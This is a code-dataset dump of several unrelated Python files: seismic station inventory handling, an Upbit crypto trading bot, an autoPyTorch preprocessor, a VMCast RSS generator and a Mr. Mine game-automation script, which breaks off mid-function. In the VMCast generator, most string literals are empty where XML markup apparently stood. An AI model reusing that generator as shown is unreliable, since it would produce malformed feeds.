\"\"\"\n state = super().__reduce__()\n myargs = () # here add the list of user-input data\n return (state[0], myargs, None, None, state[4])\n\n def _newStat(self, eqtag, stat):\n \"\"\"\n Simple private method to initialize new stations in memory\n \"\"\"\n self[eqtag][stat] = {}\n for kk in self.statdict_key:\n self[eqtag][stat][kk] = None\n\n def _checkstatdict(self, eqtag, stat, **indict):\n \"\"\"\n This `private` method double-checks that all keys defined\n are used and default to `None` eventually and left untouched\n if already present. In any case, the keys in input will be\n overwrited\n\n *** NB: Maybe add a double check also for the type requested\n \"\"\"\n if not isinstance(indict, dict):\n logger.write(\"Expected a dict! %s given instead\" % type(indict))\n raise TypeError\n #\n for kk in indict:\n if kk not in self.statdict_key:\n raise QE.InvalidVariable(\"Invalid key: %s\" % kk)\n self[eqtag][stat][kk] = indict[kk]\n\n def getStats4Event(self, eqtag, **kwargs):\n \"\"\"\n Class method to extract the station names\n keys contained in the object.\n\n Return a string list\n \"\"\"\n return self[eqtag].keys()\n\n def addEvent(self, eqtag):\n \"\"\"\n This method just add a key to the object\n \"\"\"\n self[eqtag] = {}\n\n def addStat(self, eqtag, stat, **statdict):\n \"\"\"\n Class method to add the station names\n keys and relative phase picks information.\n\n The private method _checkstatdict will take care of adding\n default values for what is missin by user.\n \"\"\"\n if eqtag not in self.keys():\n self.addEvent(eqtag)\n if stat not in self[eqtag].keys():\n self._newStat(eqtag, stat)\n #\n if statdict:\n self._checkstatdict(eqtag, stat, **statdict)\n return True\n\n def store2disk(self, pathfn):\n \"\"\"\n This method should be able to store the object\n with pickle library.\n\n *** NB! it would override previously saved obj.\n \"\"\"\n with open(pathfn, 'wb') as OUT:\n pickle.dump(self, OUT, pickle.HIGHEST_PROTOCOL)\n return True\n\n def change_metadata(self, eqtag, statlist=\"all\", **kwargs):\n \"\"\"\n This method will allow to change the metadata internally\n the class. PLEASE USE THIS METHOD instead of changing manually!\n \"\"\"\n print(\"To be implemented, sorry\")\n return False\n\n @classmethod\n def from_dictionary(cls, dictobj):\n \"\"\"Factory methods for creating new instance of a\n StatContainer_Event class.\n \"\"\"\n if not isinstance(dictobj, dict):\n raise QE.InvalidType(\"I need to load a dictionary. Got a %r \"\n \"instead!\" % type(dictobj))\n #\n logger.info(\"Creating StatContainer_Event from dictionary\")\n workdict = copy.deepcopy(dictobj)\n\n _tmp = cls()\n for evid in workdict.keys():\n _tmp[evid] = workdict[evid]\n return _tmp\n\n\n# --------------------------------------------- Array Related\n\n\ndef createStationInventory(**kwargs):\n \"\"\"\n This function is collecting all the *.xml\n files stored in adir and merge them into an\n ObsPy Inventory object.\n\n *** NB: The directory should contain only one\n single *.xml file for each station\n \"\"\"\n\n inventorypath = (kwargs[\"GENERAL\"][\"workingrootdir\"] +\n os.sep + kwargs[\"ARRAY\"][\"inventoryxmlfile\"])\n\n if kwargs[\"ARRAY\"][\"loadinventory\"]:\n if os.path.exists(inventorypath) and os.path.getsize(\n inventorypath) > 0:\n logger.info(\"Loading Station Inventory found: %r\" % inventorypath)\n inv = read_inventory(inventorypath, format='STATIONXML')\n logger.info(\".... done!\")\n return inv\n else:\n inv = buildInventory(**kwargs)\n return inv\n\n elif (not kwargs[\"ARRAY\"][\"loadinventory\"] and\n kwargs[\"ARRAY\"][\"createinventory\"]):\n inv = buildInventory(**kwargs)\n return inv\n else:\n return False\n\n\ndef buildInventory(**kwargs):\n \"\"\"\n Central block that takes care of creating an\n ObsPy inventory object.\n\n This function will take care also to export\n it to hard-disk (if requested by user).\n\n *** NB: it will override without asking\n \"\"\"\n\n inventorypath = kwargs[\"GENERAL\"][\"workingrootdir\"] + \\\n os.sep + kwargs[\"ARRAY\"][\"inventoryxmlfile\"]\n\n logger.info(\"Building Station Inventory. This may take a while ...\")\n statFileList = []\n for ext in (\".xml\", \"*.xml\"):\n statFileList.extend(\n glob.glob(\n kwargs[\"ARRAY\"][\"stationxmlfilepath\"] +\n os.sep +\n ext))\n if not statFileList:\n logger.error(\n \"No xml found in %r\" %\n kwargs[\"ARRAY\"][\"stationxmlfilepath\"])\n return None\n #\n networklist = []\n statFileList.sort()\n for xx, stat in enumerate(statFileList):\n if xx == 0:\n inv = read_inventory(stat, \"STATIONXML\")\n networklist.append(inv[0].code)\n else:\n tmpinv = read_inventory(stat, \"STATIONXML\")\n tmpnet = tmpinv[0].code\n # Check if Network already loaded\n if tmpnet in networklist:\n # find net index in the already loaded inventory\n tmpidx = next(_ii for _ii,\n net in enumerate(networklist) if tmpnet == net)\n inv[tmpidx].stations.append(\n tmpinv[0].stations[0]) # Only Append Station\n else:\n networklist.append(tmpinv[0].code)\n inv += tmpinv\n #\n QU.progressBar(\n xx + 1,\n len(statFileList),\n prefix='Import',\n decimals=1,\n barLength=15)\n # Exporting\n if kwargs[\"ARRAY\"][\"exportinventory\"]:\n logger.info(\"Exporting the Station Inventory to %r\" % inventorypath)\n inv.write(inventorypath, format='STATIONXML')\n logger.info(\".... done!\")\n return inv\n\n\ndef createStationContainer(**kwargs):\n \"\"\"\n This function is collecting all the *.xml\n files stored in adir and merge them into an\n ADAPT StationContainer object.\n\n *** NB: The directory should contain only one\n single *.xml file for each station\n *** NB: it will always store on disk the StationContainer\n\n\n \"\"\"\n containerpath = kwargs[\"GENERAL\"][\"workingrootdir\"] + \\\n os.sep + kwargs[\"ARRAY\"][\"stationpicklepath\"]\n qsc = StatContainer()\n if os.path.exists(containerpath) and os.path.getsize(containerpath) > 0:\n logger.info(\"Loading station container pickle: %s\" % containerpath)\n qsc = QU.loadPickleObj(containerpath)\n logger.info(\".... done!\")\n else: # create one and store it!\n logger.info(\"Creating Station Container. This may take a while ...\")\n statFileList = []\n for ext in (\".xml\", \"*.xml\"):\n statFileList.extend(\n glob.glob(\n kwargs[\"ARRAY\"][\"stationxmlfilepath\"] +\n os.sep +\n ext))\n\n if not statFileList:\n logger.error(\n \"No xml found in %r\" %\n kwargs[\"ARRAY\"][\"stationxmlfilepath\"])\n raise QE.MissingVariable()\n\n else:\n statFileList.sort()\n for xx, stat in enumerate(statFileList):\n tmpdict = {}\n try:\n tmpinv = read_inventory(stat, kwargs[\"ARRAY\"]['xmlfiletype'])\n except TypeError:\n continue\n #\n statName = tmpinv[0].stations[0].code\n tmpdict[\"fullname\"] = statName\n tmpdict[\"alias\"] = None\n tmpdict[\"lat\"] = tmpinv[0].stations[0].latitude\n tmpdict[\"lon\"] = tmpinv[0].stations[0].longitude\n tmpdict[\"elev_m\"] = tmpinv[0].stations[0].elevation\n tmpdict[\"network\"] = tmpinv[0].code\n #\n qsc.addStat(statName, tmpdict)\n QU.progressBar(\n xx + 1,\n len(statFileList),\n prefix='Import',\n decimals=1,\n barLength=15)\n qsc.store2disk(containerpath)\n return qsc\n\n\n# --------------------------------------------- Miscellaneous\n\n\ndef checkChannels(instream, eqid, metastatdict, channels=(\"Z\", \"N\", \"E\")):\n \"\"\"\n Simple function that return a tuple of missing channel, or None.\n\n # v0.5.1 Now the function will append missing channels EVEN if DATA\n is missing from that channel.\n\n INPUT:\n obspy.Stream class\n OUTPUT:\n tuple class\n \"\"\"\n\n # === v0.5.1\n statname = instream[0].stats.station\n inchann = [(tr.stats.channel[-1], tr.data.size) for tr in instream]\n misschann = []\n for ii in channels:\n chan_found = False\n for _cc, _ss in inchann:\n if _cc == ii:\n # chan match ==> check data\n chan_found = True\n if _ss != 0:\n # all good, no missing ...\n continue\n else:\n # data missing ==> still count\n misschann.append(ii)\n logger.warning(\"Event: %s Stat: %s - MissChann: %s\" %\n (eqid, statname, ii))\n #\n if not chan_found:\n # channel missing ==> still count\n misschann.append(ii)\n logger.warning(\"Event: %s Stat: %s - MissChann: %s\" %\n (eqid, statname, ii))\n #\n metastatdict.addStat(eqid, statname, missingchannel=tuple(misschann))\n return True\n", "repo_name": "mbagagli/adapt", "sub_path": "adapt/database.py", "file_name": "database.py", "file_ext": "py", "file_size_in_byte": 32796, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "7", "api": [{"api_name": "logging.getLogger", "line_number": 14, "usage_type": "call"}, {"api_name": "collections.OrderedDict", "line_number": 30, "usage_type": "name"}, {"api_name": "copy.deepcopy", "line_number": 84, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 115, "usage_type": "call"}, {"api_name": "adapt.errors.CheckError", "line_number": 124, "usage_type": "call"}, {"api_name": "adapt.errors", "line_number": 124, "usage_type": "name"}, {"api_name": "adapt.errors.MissingVariable", "line_number": 127, "usage_type": "call"}, {"api_name": "adapt.errors", "line_number": 127, "usage_type": "name"}, {"api_name": "pickle.dump", "line_number": 227, "usage_type": "call"}, {"api_name": "pickle.HIGHEST_PROTOCOL", "line_number": 227, "usage_type": "attribute"}, {"api_name": "adapt.utils.loadPickleObj", "line_number": 246, "usage_type": "call"}, {"api_name": "adapt.utils", "line_number": 246, "usage_type": "name"}, {"api_name": "adapt.errors.InvalidType", "line_number": 332, "usage_type": "call"}, {"api_name": "adapt.errors", "line_number": 332, "usage_type": "name"}, {"api_name": "copy.deepcopy", "line_number": 354, "usage_type": "call"}, {"api_name": "collections.OrderedDict", "line_number": 372, "usage_type": "name"}, {"api_name": "adapt.errors.CheckError", "line_number": 444, "usage_type": "call"}, {"api_name": "adapt.errors", "line_number": 444, "usage_type": "name"}, {"api_name": "adapt.errors.CheckError", "line_number": 451, "usage_type": "call"}, {"api_name": "adapt.errors", "line_number": 451, "usage_type": "name"}, {"api_name": "adapt.errors.CheckError", "line_number": 456, "usage_type": "call"}, {"api_name": "adapt.errors", "line_number": 456, "usage_type": "name"}, {"api_name": "adapt.errors.CheckError", "line_number": 466, "usage_type": "call"}, {"api_name": "adapt.errors", "line_number": 466, "usage_type": "name"}, {"api_name": "adapt.errors.CheckError", "line_number": 473, "usage_type": "call"}, {"api_name": "adapt.errors", "line_number": 473, "usage_type": "name"}, {"api_name": "adapt.errors.CheckError", "line_number": 478, "usage_type": "call"}, {"api_name": "adapt.errors", "line_number": 478, "usage_type": "name"}, {"api_name": "adapt.errors.CheckError", "line_number": 485, "usage_type": "call"}, {"api_name": "adapt.errors", "line_number": 485, "usage_type": "name"}, {"api_name": "adapt.errors.CheckError", "line_number": 490, "usage_type": "call"}, {"api_name": "adapt.errors", "line_number": 490, "usage_type": "name"}, {"api_name": "adapt.errors.CheckError", "line_number": 500, "usage_type": "call"}, {"api_name": "adapt.errors", "line_number": 500, "usage_type": "name"}, {"api_name": "pickle.dump", "line_number": 559, "usage_type": "call"}, {"api_name": "pickle.HIGHEST_PROTOCOL", "line_number": 559, "usage_type": "attribute"}, {"api_name": "adapt.errors.InvalidType", "line_number": 573, "usage_type": "call"}, {"api_name": "adapt.errors", "line_number": 573, "usage_type": "name"}, {"api_name": "copy.deepcopy", "line_number": 595, "usage_type": "call"}, {"api_name": "collections.OrderedDict", "line_number": 601, "usage_type": "name"}, {"api_name": "adapt.errors.InvalidVariable", "line_number": 671, "usage_type": "call"}, {"api_name": "adapt.errors", "line_number": 671, "usage_type": "name"}, {"api_name": "pickle.dump", "line_number": 714, "usage_type": "call"}, {"api_name": "pickle.HIGHEST_PROTOCOL", "line_number": 714, "usage_type": "attribute"}, {"api_name": "adapt.errors.InvalidType", "line_number": 731, "usage_type": "call"}, {"api_name": "adapt.errors", "line_number": 731, "usage_type": "name"}, {"api_name": "copy.deepcopy", "line_number": 735, "usage_type": "call"}, {"api_name": "os.sep", "line_number": 757, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 760, "usage_type": "call"}, {"api_name": "os.path", "line_number": 760, "usage_type": "attribute"}, {"api_name": "os.path.getsize", "line_number": 760, "usage_type": "call"}, {"api_name": "obspy.read_inventory", "line_number": 763, "usage_type": "call"}, {"api_name": "os.sep", "line_number": 790, "usage_type": "attribute"}, {"api_name": "glob.glob", "line_number": 796, "usage_type": "call"}, {"api_name": "os.sep", "line_number": 798, "usage_type": "attribute"}, {"api_name": "obspy.read_inventory", "line_number": 810, "usage_type": "call"}, {"api_name": "obspy.read_inventory", "line_number": 813, "usage_type": "call"}, {"api_name": "adapt.utils.progressBar", "line_number": 826, "usage_type": "call"}, {"api_name": "adapt.utils", "line_number": 826, "usage_type": "name"}, {"api_name": "os.sep", "line_number": 853, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 855, "usage_type": "call"}, {"api_name": "os.path", "line_number": 855, "usage_type": "attribute"}, {"api_name": "os.path.getsize", "line_number": 855, "usage_type": "call"}, {"api_name": "adapt.utils.loadPickleObj", "line_number": 857, "usage_type": "call"}, {"api_name": "adapt.utils", "line_number": 857, "usage_type": "name"}, {"api_name": "glob.glob", "line_number": 864, "usage_type": "call"}, {"api_name": "os.sep", "line_number": 866, "usage_type": "attribute"}, {"api_name": "adapt.errors.MissingVariable", "line_number": 873, "usage_type": "call"}, {"api_name": "adapt.errors", "line_number": 873, "usage_type": "name"}, {"api_name": "obspy.read_inventory", "line_number": 880, "usage_type": "call"}, {"api_name": "adapt.utils.progressBar", "line_number": 893, "usage_type": "call"}, {"api_name": "adapt.utils", "line_number": 893, "usage_type": "name"}]} {"seq_id": "28490553036", "text": "import time\nimport pyupbit\nimport datetime\n\navail=[]\navail_buy_list=[]\nbuy_tricker=[]\naccess = \"본인의 access 코드\"\nsecret = \"본인의 secret 코드\"\nbuy_count = 0\nsell_count = 0\nkrw_count = 0\nkrw_count2 = 0\n\n# 로그인\nupbit = pyupbit.Upbit(access, secret)[p]\nprint(\"autotrade start\")\n\ntricker = pyupbit.get_tickers(fiat=\"KRW\")\navail_tricker = [\"KRW-BTC\",\"KRW-ETH\",\"KRW-NEO\",\"KRW-MTL\",\"KRW-LTC\",\"KRW-XRP\",\"KRW-ETC\",\n\"KRW-OMG\",\"KRW-SNT\",\"KRW-WAVES\"]\n\ndf_ex = pyupbit.get_ohlcv(\"KRW-BTC\", interval=\"day\", count=1)\nstart_time = df_ex.index[0]\n\nreal_krw=upbit.get_balance(\"KRW\")\n#buy_krw = real_krw*0.2495\n\nbalance = upbit.get_balances()\nfor k in range(0,len(balance)):\n if balance[k]['currency'] == \"KRW\" or balance[k]['currency'] == \"APENFT\":\n continue\n buy_tricker.append(\"KRW-\" + balance[k]['currency'])\n buy_count += 1\n krw_count += 1\n \n# 하루에 최대 4종목만 거래함\nif krw_count == 0:\n buy_krw = real_krw*0.2495\nelif krw_count == 1:\n buy_krw = real_krw/3-0.0005\nelif krw_count == 2:\n buy_krw = real_krw/2-0.0005\nelif krw_count == 3:\n buy_krw = real_krw/1-0.0005\n\nif buy_krw < 5025:\n sell_count = 4-buy_count\n buy_count = 4\n\n\nprint(len(balance))\nprint(\"buy_count : %d\" % buy_count)\nprint(\"sell_count : %d\" % sell_count)\nprint(buy_tricker)\n\nwhile True:\n \n for i in tricker:\n print(i)\n print(pyupbit.get_current_price(i))\n df = pyupbit.get_ohlcv(i,count=4)\n close = df['close']\n print(close[2])\n time.sleep(0.1)\n\n # 전날 종가에 비해 1% 상승했을 때 그 종목 매수\n if pyupbit.get_current_price(i)>=1.009*close[2] and pyupbit.get_current_price(i)<=1.011*close[2] and (i in buy_tricker)!=True:\n avail_buy_list.append(i)\n krw=upbit.get_balance(\"KRW\")\n if krw>=5025 and buy_count<4:\n upbit.buy_market_order(i,buy_krw)\n print('buy: %s' % i) \n buy_count += 1\n buy_tricker.append(i)\n\n # avail.append(i)\n # 전날 종가에 비해 2% 상승했을 때 그 종목 매도\n coin = upbit.get_balance(i)\n if pyupbit.get_current_price(i)>=1.021*close[2] and coin>0:\n if upbit.sell_market_order(i,coin) != None:\n print('sell: %s' % i) \n sell_count += 1\n buy_tricker.remove(i)\n else:\n print('cant sell(잔액부족): %s' % i) \n sell_count += 1\n buy_tricker.remove(i)\n time.sleep(0.1)\n\n while buy_count>=4:\n for l in buy_tricker:\n \n print(l)\n print(pyupbit.get_current_price(l))\n df = pyupbit.get_ohlcv(l,count=4)\n close = df['close']\n print(close[2])\n time.sleep(0.1)\n coin = upbit.get_balance(l)\n if pyupbit.get_current_price(l)>=1.02*close[2] and coin>0:\n if upbit.sell_market_order(l,coin) != None:\n print('sell: %s' % l) \n sell_count += 1\n buy_tricker.remove(l)\n else:\n print('cant sell(잔액부족): %s' % l) \n sell_count += 1\n buy_tricker.remove(l)\n time.sleep(0.1)\n print(\"buy_count : %d\" % buy_count)\n print(\"sell_count : %d\" % sell_count)\n print(buy_tricker)\n \n if sell_count >= 4 or start_time + datetime.timedelta(days=1) >= datetime.datetime.now():\n break\n #print(upbit.get_balances())\n\n\n if start_time + datetime.timedelta(days=1) < datetime.datetime.now():\n\n buy_count=len(buy_tricker)\n krw_count2 = len(buy_tricker)\n sell_count=0\n start_time = start_time + datetime.timedelta(days=1)\n real_krw=upbit.get_balance(\"KRW\")\n #buy_krw = real_krw*0.2495\n\n\n if krw_count2 == 0:\n buy_krw = real_krw*0.2495\n elif krw_count2 == 1:\n buy_krw = real_krw/3-0.0005\n elif krw_count2 == 2:\n buy_krw = real_krw/2-0.0005\n elif krw_count2 == 3:\n buy_krw = real_krw/1-0.0005\n\n \n print(\"buy_count : %d\" % buy_count)\n print(\"sell_count : %d\" % sell_count)\n print(buy_tricker)\n\n#print(avail_buy_list)\n#print(df.index[0])\n", "repo_name": "J0131/Python", "sub_path": "CoinAutoTrade.py", "file_name": "CoinAutoTrade.py", "file_ext": "py", "file_size_in_byte": 4323, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "pyupbit.Upbit", "line_number": 16, "usage_type": "call"}, {"api_name": "pyupbit.get_tickers", "line_number": 19, "usage_type": "call"}, {"api_name": "pyupbit.get_ohlcv", "line_number": 23, "usage_type": "call"}, {"api_name": "pyupbit.get_current_price", "line_number": 61, "usage_type": "call"}, {"api_name": "pyupbit.get_ohlcv", "line_number": 62, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 65, "usage_type": "call"}, {"api_name": "pyupbit.get_current_price", "line_number": 68, "usage_type": "call"}, {"api_name": "pyupbit.get_current_price", "line_number": 80, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 89, "usage_type": "call"}, {"api_name": "pyupbit.get_current_price", "line_number": 95, "usage_type": "call"}, {"api_name": "pyupbit.get_ohlcv", "line_number": 96, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 99, "usage_type": "call"}, {"api_name": "pyupbit.get_current_price", "line_number": 101, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 110, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 115, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 115, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 115, "usage_type": "attribute"}, {"api_name": "datetime.timedelta", "line_number": 120, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 120, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 120, "usage_type": "attribute"}, {"api_name": "datetime.timedelta", "line_number": 125, "usage_type": "call"}]} {"seq_id": "24931360241", "text": "import torch\n\nimport ConfigSpace\nimport ConfigSpace.hyperparameters as CSH\n\nfrom autoPyTorch.components.preprocessing.preprocessor_base import PreprocessorBase\n\n\nclass PolynomialFeatures(PreprocessorBase):\n def __init__(self, hyperparameter_config):\n self.degree = hyperparameter_config['degree']\n self.interaction_only = hyperparameter_config['interaction_only']\n self.include_bias = hyperparameter_config['include_bias']\n self.preprocessor = None\n\n def fit(self, X, Y):\n import sklearn.preprocessing\n\n self.preprocessor = sklearn.preprocessing.PolynomialFeatures(\n degree=self.degree, interaction_only=self.interaction_only,\n include_bias=self.include_bias)\n\n self.preprocessor.fit(X, Y)\n\n def transform(self, X):\n if self.preprocessor is None:\n raise NotImplementedError()\n return self.preprocessor.transform(X)\n\n @staticmethod\n def get_hyperparameter_search_space(dataset_properties=None):\n degree = CSH.UniformIntegerHyperparameter(\"degree\", lower=2, upper=3)\n interaction_only = CSH.CategoricalHyperparameter(\"interaction_only\", [False, True])\n include_bias = CSH.CategoricalHyperparameter(\"include_bias\", [True, False])\n\n cs = ConfigSpace.ConfigurationSpace()\n cs.add_hyperparameters([degree, interaction_only, include_bias])\n\n return cs", "repo_name": "guanlongtianzi/Auto-PyTorch", "sub_path": "autoPyTorch/components/preprocessing/feature_preprocessing/polynomial_features.py", "file_name": "polynomial_features.py", "file_ext": "py", "file_size_in_byte": 1397, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "github-code", "pt": "7", "api": [{"api_name": "autoPyTorch.components.preprocessing.preprocessor_base.PreprocessorBase", "line_number": 9, "usage_type": "name"}, {"api_name": "sklearn.preprocessing.preprocessing.PolynomialFeatures", "line_number": 19, "usage_type": "call"}, {"api_name": "sklearn.preprocessing.preprocessing", "line_number": 19, "usage_type": "attribute"}, {"api_name": "sklearn.preprocessing", "line_number": 19, "usage_type": "name"}, {"api_name": "ConfigSpace.hyperparameters.UniformIntegerHyperparameter", "line_number": 32, "usage_type": "call"}, {"api_name": "ConfigSpace.hyperparameters", "line_number": 32, "usage_type": "name"}, {"api_name": "ConfigSpace.hyperparameters.CategoricalHyperparameter", "line_number": 33, "usage_type": "call"}, {"api_name": "ConfigSpace.hyperparameters", "line_number": 33, "usage_type": "name"}, {"api_name": "ConfigSpace.hyperparameters.CategoricalHyperparameter", "line_number": 34, "usage_type": "call"}, {"api_name": "ConfigSpace.hyperparameters", "line_number": 34, "usage_type": "name"}, {"api_name": "ConfigSpace.ConfigurationSpace", "line_number": 36, "usage_type": "call"}]} {"seq_id": "71590214305", "text": "import datetime\nimport os\nimport uuid\n\n\nclass VMCastMaker:\n def __init__(self, title, uuid, description, language, baseserverurl, basepath):\n self.baseserverurl = baseserverurl\n self.basepath = basepath\n self.title = title\n self.uuid = uuid\n self.description = description\n self.language = language\n self.items = []\n\n def init_feed(self):\n self.feed = \"\\n\"\n self.feed += \" \\n\"\n self.feed += \" \\n\"\n self.feed += \" \" + self.title + \"\\n\"\n self.feed += \" \" + self.baseserverurl + \"\\n\"\n self.feed += \" \" + self.uuid + \"\\n\"\n self.feed += \" \" + self.description + \"\\n\"\n self.feed += \" \" + self.language +\"\\n\"\n\n\n def add_item(self, title, description, link, uuid, dlurl, size):\n self.items.append({ 'title' : title,\n 'description' : description,\n 'link' : link,\n 'uuid' : uuid,\n 'dlurl' : dlurl,\n 'size' : size})\n\n def makeVMCast(self):\n for item in self.items:\n item_string = \" \\n\"\n item_string += \" \" + item['title'] + \"\\n\"\n item_string += \" \" + item['link'] + \"\\n\"\n item_string += \" \" + item['uuid'] + \"\\n\"\n item_string += \" \\n\"\n item_string += \" \\n \\n \\n\"\n item_string += \" \" + str(datetime.datetime.now()) + \"\\n\"\n item_string += \" \\n\"\n self.feed += item_string\n self.feed += \" \\n\"\n return self.feed\n\n def writeFeed(self, path=\"./rss.xml\"):\n f = open(path, \"w\")\n f.write(self.makeVMCast())\n f.close()\n\n def parseDirectory(self, path=\".\"):\n self.init_feed()\n self.items = []\n xvm2_files = [x for x in os.listdir(path) if x.endswith('.xvm2')]\n for xvm2_file in xvm2_files:\n size = os.path.getsize(path + \"/\" + xvm2_file)\n item_uuid = uuid.uuid3(uuid.NAMESPACE_URL, xvm2_file)\n self.add_item(xvm2_file.replace('.xvm2', ''),\n 'Auto imported vmcast',\n self.baseserverurl,\n str(item_uuid),\n self.baseserverurl + \"/\" + xvm2_file,\n str(size))", "repo_name": "ArchipelProject/Archipel", "sub_path": "ArchipelAgent/archipel-agent-vmcasting/archipelagentvmcasting/vmcastmaker.py", "file_name": "vmcastmaker.py", "file_ext": "py", "file_size_in_byte": 3029, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 799, "dataset": "github-code", "pt": "7", "api": [{"api_name": "datetime.datetime.now", "line_number": 43, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 43, "usage_type": "attribute"}, {"api_name": "os.listdir", "line_number": 57, "usage_type": "call"}, {"api_name": "os.path.getsize", "line_number": 59, "usage_type": "call"}, {"api_name": "os.path", "line_number": 59, "usage_type": "attribute"}, {"api_name": "uuid.uuid3", "line_number": 60, "usage_type": "call"}, {"api_name": "uuid.NAMESPACE_URL", "line_number": 60, "usage_type": "attribute"}]} {"seq_id": "14234989503", "text": "from cmath import e\r\nimport time\r\nimport pyautogui\r\nimport keyboard\r\nfrom MrMineFunctions import clickChestInMiddleOfScreens, clickMouse\r\n\r\nimport generalFunctions\r\nimport MrMineMath\r\nimport mouseAndKeyboard\r\nimport positionsAndResolution\r\nimport fileHandling\r\nimport monsters\r\nimport bufflab\r\n\r\npyautogui.FAILSAFE = True\r\n\r\npositions = positionsAndResolution.positions\r\nfh = fileHandling\r\n\r\nmiddleRowBottomLeftXValue = int(MrMineMath.convertToCurrentResolutionPosition(positions.middleRowBottomLeft[0], positions.currentResolution[0], positions.originalResolution[0]))\r\nmiddleRowBottomLeftYValue = int(MrMineMath.convertToCurrentResolutionPosition(positions.middleRowBottomLeft[1], positions.currentResolution[0], positions.originalResolution[0]))\r\n\r\nmiddleRowTopRightXValue = int(MrMineMath.convertToCurrentResolutionPosition(positions.middleRowTopRight[0], positions.currentResolution[1], positions.originalResolution[1]))\r\nmiddleRowTopRightYValue = int(MrMineMath.convertToCurrentResolutionPosition(positions.middleRowTopRight[1], positions.currentResolution[1], positions.originalResolution[1]))\r\n\r\nlowerThreeLeftXValue = int(MrMineMath.convertToCurrentResolutionPosition(positions.lowerThreeRowsBottomLeft[0], positions.currentResolution[0], positions.originalResolution[0]))\r\nlowerThreeLeftYValue = int(MrMineMath.convertToCurrentResolutionPosition(positions.lowerThreeRowsBottomLeft[1], positions.currentResolution[0], positions.originalResolution[0]))\r\n\r\nlowerThreeTopRightXValue = int(MrMineMath.convertToCurrentResolutionPosition(positions.lowerThreeRowsTopRight[0], positions.currentResolution[1], positions.originalResolution[1]))\r\nlowerThreeLeftXValue = int(MrMineMath.convertToCurrentResolutionPosition(positions.lowerThreeRowsTopRight[1], positions.currentResolution[1], positions.originalResolution[1]))\r\n\r\ndef miningMain():\r\n pass\r\n collectChestsInMineImproved()\r\n\r\ndef checkIfOre():\r\n print(\"Checking for ores...\")\r\n oreConfidence = 0.85\r\n\r\n siliconPosition = pyautogui.locateOnScreen(str(fh.getPathToCurrentDir()) + \"images\\\\mine\\\\siliconore.png\", confidence = oreConfidence - 0.01)\r\n magnesiumPosition = pyautogui.locateOnScreen(str(fh.getPathToCurrentDir()) + \"images\\\\mine\\\\magnesiumore.png\", confidence = oreConfidence)\r\n titaniumPosition = pyautogui.locateOnScreen(str(fh.getPathToCurrentDir()) + \"images\\\\mine\\\\titaniumore.png\", confidence = oreConfidence)\r\n fishPosition = pyautogui.locateOnScreen(str(fh.getPathToCurrentDir()) + \"images\\\\mine\\\\fishore.png\", confidence = oreConfidence - 0.05)\r\n\r\n oreList = [siliconPosition, magnesiumPosition, titaniumPosition, fishPosition]\r\n foundOre = False\r\n\r\n for i in range(len(oreList)):\r\n pyautogui.failSafeCheck()\r\n if oreList[i] != None:\r\n foundOre = True\r\n print(\"Found ore!\")\r\n #Clicking on red exclamation mark\r\n orePosition = pyautogui.center(oreList[i])\r\n pyautogui.moveTo(orePosition)\r\n for i in range(8):\r\n clickMouse()\r\n if not foundOre:\r\n print(\"Did not find any ores.\")\r\n\r\n return foundOre\r\n\r\ndef collectChestsInMineImproved():\r\n #Main\r\n print(\"Checking for chests...\")\r\n counter = 0\r\n generalFunctions.goToMrMineScreen()\r\n generalFunctions.goToSafeClickArea()\r\n maxCount = positions.amountOfChestsToBeClicked\r\n nothingToDoInARow = 0\r\n amountOfTriesBeforeSkip = 3\r\n\r\n yellowbackgroundConfidence = 0.85\r\n fh.replaceLineInFile(positions.userconfigFile, fh.getLineNumberFromFile(positions.gamestageFile, \"skippedChestCollecting = True;\"), \"skippedChestCollecting = False;\") #Resets it\r\n while counter < maxCount:\r\n if nothingToDoInARow > amountOfTriesBeforeSkip:\r\n fh.replaceLineInFile(positions.userconfigFile, fh.getLineNumberFromFile(positions.gamestageFile, \"skippedChestCollecting = False;\"), \"skippedChestCollecting = True;\") #If nothing to do then skips\r\n print(\"Nothing to do so skipping.\")\r\n break\r\n pyautogui.failSafeCheck()\r\n checkIfRainShower()\r\n keyboard.press_and_release('space')\r\n time.sleep(1)\r\n foundOre = checkIfOre()\r\n if foundOre:\r\n continue #Skips most likely only one thing on floor skipping for better performance\r\n foundMonster = monsters.checkIfMonster()\r\n monsters.checkIfFightScreen()\r\n if foundMonster:\r\n continue #Skips most likely only one thing on floor skipping for better performance\r\n chestbackgroundcolor = pyautogui.locateOnScreen(str(fh.getPathToCurrentDir()) + \"images\\\\mine\\\\smallchestbackgroundcolor.png\", confidence = yellowbackgroundConfidence, region=(lowerThreeLeftXValue, lowerThreeLeftYValue, lowerThreeTopRightXValue, lowerThreeLeftXValue)) \r\n\r\n if chestbackgroundcolor == None:\r\n nothingToDoInARow = nothingToDoInARow + 1\r\n else:\r\n nothingToDoInARow = 0 #reset counter if no background color was found\r\n iterateOverAllMinersOnAFloor(0)\r\n monsters.checkIfFightScreen()\r\n\r\n chestbackgroundcolor = pyautogui.locateOnScreen(str(fh.getPathToCurrentDir()) + \"images\\\\mine\\\\smallchestbackgroundcolor.png\", confidence = yellowbackgroundConfidence, region=(lowerThreeLeftXValue, lowerThreeLeftYValue, lowerThreeTopRightXValue, lowerThreeLeftXValue)) \r\n\r\n print(chestbackgroundcolor)\r\n\r\n if chestbackgroundcolor != None:\r\n chestbackgroundcolor = pyautogui.center(chestbackgroundcolor)\r\n pyautogui.moveTo(chestbackgroundcolor)\r\n time.sleep(6)\r\n print(\"Yellow background detected below middle floor\")\r\n collectChestBelowMiddle()\r\n counter = counter + 1\r\n 